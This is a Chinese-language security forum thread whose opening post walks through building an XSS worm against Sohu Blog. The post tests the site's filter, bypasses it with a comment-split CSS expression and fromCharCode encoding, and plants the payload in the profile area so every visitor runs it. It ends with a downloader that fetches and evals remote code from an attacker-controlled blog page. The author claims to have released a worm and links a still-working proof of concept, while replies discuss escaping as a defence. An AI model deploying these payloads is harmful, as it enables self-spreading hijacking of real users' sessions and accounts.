发新话题
打印

[原创]一只完整的XSS wrom实现流程

[原创]一只完整的XSS wrom实现流程

文章作者:茄子宝
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

不说废话,且看怎么实现,我先拿SOHU BLOG做示范.

1.测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些.
引用:
&#39;&#39;;:!--"<javascript   JAvaSCriPT>=&#{()} \/
结果

&#39;&#39;;:!--"=&#{()} // (&后是amp,论坛过滤了)

过滤了"javascript","&"和"\"这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手.



2.测试一个XSS常用属性和两个事件,貌似没有过滤字符.
引用:
expression
onerror
onload
3.下面开始尝试构造语句.如下:
引用:
<img src="#" style="Xss:expression(alert(&#39;xss&#39;));">

<img src="#" onerror=alert(&#39;xss&#39;)>

<img src="http://js.pp.sohu.com/ppp/blog/styles/images/welcome.jpg" onload=alert(&#39;xss&#39;)>
构造完整标记,页面输出后又全部过滤.



4."/"字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句:
引用:
<div style="xss:ex/**/pre/**/ssion(alert(&#39;xss&#39;))">
5.由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:
引用:
<DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime()+10*1000);if(document.cookie.indexOf(&#39;Cookie1=&#39;) == -1){document.cookie=&#39;Cookie1=RAY;expires=&#39;+Then.toGMTString();alert(&#39;xss&#39;);}">
//设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数.



6.遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:
引用:
<div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">
7.感染流程考虑:

㈠.BLOG页面的个人档案处是页面通用的,

㈡.XSS内容写到个人档案处,所有浏览者都会触发XSS

㈢.实现一段提交XSS内容到个人档案的代码.



8.个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader.


主要代码:
引用:
function d(){
a=new ActiveXObject(&#39;Microsoft.XMLHTTP&#39;); /*调用XMLHTTP控件
a.Open(&#39;get&#39;,&#39;http://s0n9.blog.sohu.com/31406970.html&#39;,false);/*发出一个GET提交请求
a.send();
b=a.responseText; /*将传回值赋给变量B
eval(unescape(b.substring(b.indexOf(&#39;--|&#39;)+3,b.indexOf(&#39;|--&#39;))));
/*用indexOf计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.
}d()
http://s0n9.blog.sohu.com/31406970.html页面代码:
引用:
alert%28%27xss%27%29%3B
/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了)


PS:其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发
.....  -.= 凸

TOP

只要将< 和>转换掉应该可以避免吧
买不起太阳

TOP

[s:41] 正常的标签都避免了 咱发什么博客

除非他全是UBB标签 再加过滤UBB标签内值

类似论坛这种形式,但是那样的博客谁用.

百度更直接,貌似死猪般让你直接编辑CSS样式表.
.....  -.= 凸

TOP

转义标签呀,,类似于DZ或者PHPWIND那种转法
倚剑天涯过客,细水竹楼,杏酒花雨一杯,把酒歌,柳絮东来燃花,歌谓吾忧,孤影月下寻欢,清明花谢,谢落细柳坟前;一杯酒,一人饮尽一人冥,两茫茫,香尽人绝,唯有碧中血;---------------丰初

TOP

[s:34]

貌似SOHU把"\"变成了注释符"/"

再加上碰到了expression属性可以转义还能注释 比较棘手~

把注释符"/" 转成两个"//"也许不错

我放出一只XSS wrom后只过滤了某些特征内容,以至于现在还能跨,如:

http://xss-poc2.blog.sohu.com/
.....  -.= 凸

TOP

对,转义,而不是过滤~ [s:34]
买不起太阳

TOP

其实XSS WORM危害是相当恐怖的,朋友的原创,顶了!
不过现在被过滤了
SOHU的管理员盯上你BLOG了哦
[s:36]

TOP

茄子宝,你好,我是个新人,我有几个问题想问下你,你们所通过XSS实现的组建调用如HTTPXML
是不是都是JSP的程序,因为我对JSP一点都不了解

TOP

发新话题